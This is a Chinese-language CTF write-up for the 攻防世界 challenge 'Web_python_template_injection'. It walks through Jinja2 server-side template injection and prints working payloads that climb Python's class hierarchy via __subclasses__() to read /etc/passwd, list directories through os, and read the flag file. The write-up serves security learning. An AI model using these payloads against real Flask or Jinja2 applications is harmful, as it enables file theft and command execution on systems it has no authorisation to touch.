当前位置:   article > 正文

攻防世界-Web_python_template_injection详解_攻防世界web-python-template-jection

攻防世界web-python-template-jection

Web_python_template_injection

在做这道题之前如果大家不懂可以先看一看这篇文章:
从零学习flask模板注入

基础知识

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

1.判断有无模板注入
payload

http://220.249.52.133:53362/{{7+7}}
  • 1

在这里插入图片描述
查看全局变量

http://220.249.52.133:53362/{{config}}
  • 1

在这里插入图片描述

基础知识:
文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。
思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。

几个魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

寻找可用引用
payload:

{{''.__class__.__mro__[2].__subclasses__()}}
  • 1

在这里插入图片描述
可以看到有一个type file类型(可以进行文件读取)

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
  • 1

[40]是tupe file类型出现位置(从0开始的位置)

在这里插入图片描述

可以看到有一个 <class ‘site._Printer’>类型(可以进行命令执行)

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
  • 1

在这里插入图片描述

本题我们主要用到命令执行,直接利用上面的payload即可

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
  • 1

[71]为<class ‘site._Printer’>出现位置
在这里插入图片描述
读取flag

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
  • 1

在这里插入图片描述
flag:
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号